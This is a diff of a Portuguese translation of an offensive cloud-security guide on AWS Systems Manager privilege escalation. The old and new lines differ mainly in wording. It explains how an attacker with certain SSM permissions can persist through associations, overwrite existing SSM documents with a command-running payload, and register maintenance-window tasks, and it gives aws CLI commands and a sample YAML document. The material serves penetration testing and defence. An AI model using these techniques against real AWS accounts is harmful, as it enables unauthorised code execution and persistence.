||||
```
|
||||
> [!NOTE]
|
||||
> Este método de persistence funciona enquanto a instância EC2 estiver sendo gerenciada pelo Systems Manager, o SSM agent estiver em execução e o attacker tiver permissão para criar associations. Ele não requer interactive sessions nem permissões explícitas de ssm:SendCommand. **Importante:** o parâmetro `--schedule-expression` (por exemplo, `rate(30 minutes)`) deve respeitar o intervalo mínimo de 30 minutos do AWS. Para execução imediata ou única, omita `--schedule-expression` completamente — a association será executada uma vez após a criação.
|
||||
> Este método de persistence funciona desde que a instância EC2 seja gerenciada pelo Systems Manager, o agente SSM esteja em execução e o atacante tenha permissão para criar associations. Ele não requer sessões interativas nem permissões explícitas de ssm:SendCommand. **Importante:** o parâmetro `--schedule-expression` (por exemplo, `rate(30 minutes)`) deve respeitar o intervalo mínimo de 30 minutes do AWS. Para execução imediata ou única, omita `--schedule-expression` completamente — a association será executada uma vez após a criação.
|
||||
|
||||
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
|
||||
|
||||
Um attacker com as permissões **`ssm:UpdateDocument`** e **`ssm:UpdateDocumentDefaultVersion`** pode escalar privilégios modificando documents existentes. Isso também permite persistence dentro desse document. Na prática, o attacker também precisaria de **`ssm:ListDocuments`** para obter os nomes de custom documents e, se o attacker quiser ofuscar seu payload dentro de um document existente, **`ssm:GetDocument`** também será necessário.
|
||||
Um atacante com as permissões **`ssm:UpdateDocument`** e **`ssm:UpdateDocumentDefaultVersion`** pode escalar privilégios modificando documentos existentes. Isso também permite persistence dentro desse document. Na prática, o atacante também precisaria de **`ssm:ListDocuments`** para obter os nomes de custom documents e, se o atacante quiser ofuscar seu payload dentro de um documento existente, **`ssm:GetDocument`** também seria necessário.
|
||||
```bash
|
||||
aws ssm list-documents
|
||||
aws ssm get-document --name "target-document" --document-format YAML
|
||||
@@ -133,7 +133,7 @@ aws ssm update-document \
|
||||
--document-version 1
|
||||
aws ssm update-document-default-version --name "target-document" --document-version 2
|
||||
```
|
||||
Abaixo está um exemplo de documento que pode ser usado para sobrescrever um documento existente. Você vai querer garantir que o tipo do seu documento corresponda ao tipo do documento de destino para evitar problemas com innvocation. O documento abaixo, por exemplo, cobrirá os exemplos **`ssm:SendCommand`** e **`ssm:CreateAssociation`**.
|
||||
Abaixo está um documento de exemplo que pode ser usado para sobrescrever um documento existente. Você vai querer garantir que o tipo do seu documento corresponda ao tipo dos documentos de destino para evitar issues com invocação. O documento abaixo, por exemplo, usará os exemplos **`ssm:SendCommand`** e **`ssm:CreateAssociation`**.
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||||
```yaml
|
||||
schemaVersion: '2.2'
|
||||
description: Execute commands on a Linux instance.
|
||||
@@ -151,7 +151,7 @@ runCommand:
|
||||
```
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||||
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
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||||
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||||
Um atacante com as permissões **`ssm:RegisterTaskWithMaintenanceWindow`** e **`ssm:RegisterTargetWithMaintenanceWindow`** pode escalar privilégios registrando primeiro um novo target com uma maintenance window existente e depois atualizando o registro de uma nova task. Isso permite execução nos targets existentes, mas também pode permitir que um atacante comprometa compute com diferentes roles ao registrar novos targets. Isso também permite persistence, já que as tasks das maintenance windows são executadas em um intervalo pré-definido durante a criação da window. Na prática, o atacante também precisaria de **`ssm:DescribeMaintenanceWindows`** para obter os IDs da maintenance window.
|
||||
Um attacker com as permissões **`ssm:RegisterTaskWithMaintenanceWindow`** e **`ssm:RegisterTargetWithMaintenanceWindow`** pode escalonar privilégios registrando primeiro um novo target em uma maintenance window existente e depois atualizando registrando uma nova task. Isso permite execução nos targets existentes, mas pode permitir que um attacker comprometa compute com diferentes roles ao registrar novos targets. Isso também permite persistence, pois tasks de maintenance windows são executadas em um intervalo predefinido durante a criação da window. Na prática, o attacker também precisaria de **`ssm:DescribeMaintenanceWindows`** para obter os IDs da maintenance window.
|
||||
``` bash
|
||||
aws ec2 describe-instances
|
||||
aws ssm describe-maintenance-window
|
||||
@@ -170,7 +170,7 @@ aws ssm register-task-with-maintenance-window \
|
||||
```
|
||||
### Codebuild
|
||||
|
||||
Você também pode usar SSM para entrar em um projeto codebuild sendo compilado:
|
||||
Você também pode usar SSM para entrar em um projeto codebuild que está sendo construído:
|
||||
|
||||
{{#ref}}
|
||||
../aws-codebuild-privesc/README.md
|
||||
|
||||
Reference in New Issue
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